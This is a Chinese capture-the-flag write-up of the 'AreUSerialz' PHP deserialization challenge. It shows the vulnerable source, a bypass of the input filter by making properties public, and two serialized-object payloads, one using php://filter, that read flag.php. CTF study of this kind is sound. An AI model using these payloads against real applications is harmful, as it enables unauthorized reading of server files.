主页 > 电脑硬件  > 

[网鼎杯2020青龙组]AreUSerialz

[网鼎杯2020青龙组]AreUSerialz

目录

信息收集

代码审计

前提知识

思路分析

绕过检测

方法一

poc

payload

方法二

poc

payload


信息收集

进入页面给出了源代码如下,是一道PHP的反序列化题目

<?php include("flag.php"); highlight_file(__FILE__); class FileHandler { protected $op; protected $filename; protected $content; function __construct() { $op = "1"; $filename = "/tmp/tmpfile"; $content = "Hello World!"; $this->process(); } public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } } private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } } private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; } private function output($s) { echo "[Result]: <br>"; echo $s; } function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); } } function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; } if(isset($_GET{'str'})) { $str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); } } ?> 代码审计 前提知识 <?php $a=2; $b = '2'; $c = ' 2'; if($c==$b) echo '1'; if($c===$b) echo '2'; if($a==$b) echo '3'; if($a===$b) echo '4'; if($a==$c) echo '5'; if($a===$c) echo '6'; ?>

135

因此我们可以设置op的值为整形2或者op为字符串‘ 2’

PHP 5 引入了析构函数的概念,这类似于其它面向对象的语言,如 C++。析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。

父类的析构函数不会被引擎暗中调用。要执行父类的析构函数,必须在子类的析构函数体中显式调用 parent::__destruct()。此外也和构造函数一样,子类如果自己没有定义析构函数则会继承父类的。

析构函数即使在使用exit()终止脚本运行时也会被调用。在析构函数中调用exit()将会中止其余关闭操作的运行。

思路分析

反序列化结束后,程序运行结束会调用__destruct析构方法,进入process函数后进行读取操作

绕过检测 is_valid()

要求我们传入的str的每个字母的ascii值在32和125之间。因为protected属性在序列化之后会出现不可见字符\00*\00,不符合上面的要求。

绕过方法:因为php7.1以上的版本对属性类型不敏感,所以可以将属性改为public,public属性序列化不会出现不可见字符

 

方法一 poc <?php include("flag.php"); highlight_file(__FILE__); class FileHandler { public $op=' 2'; public $filename='flag.php'; public $content='coleak'; } $a = new FileHandler(); echo serialize($a); ?> payload

?str=O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:8:"flag.php";s:7:"content";s:6:"coleak";}

查看返回源码拿到flag 

 

方法二 poc <?php class FileHandler { public $op = 2; public $filename = "php://filter/read=convert.base64-encode/resource=flag.php"; public $content = "2"; } $a = new FileHandler(); $b = serialize($a); echo $b; ?> payload

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";s:1:"2";}

base64解码拿到flag 

标签:

[网鼎杯2020青龙组]AreUSerialz由讯客互联电脑硬件栏目发布,感谢您对讯客互联的认可,以及对我们原创作品以及文章的青睐,非常欢迎各位朋友分享到个人网站或者朋友圈,但转载请说明文章出处“[网鼎杯2020青龙组]AreUSerialz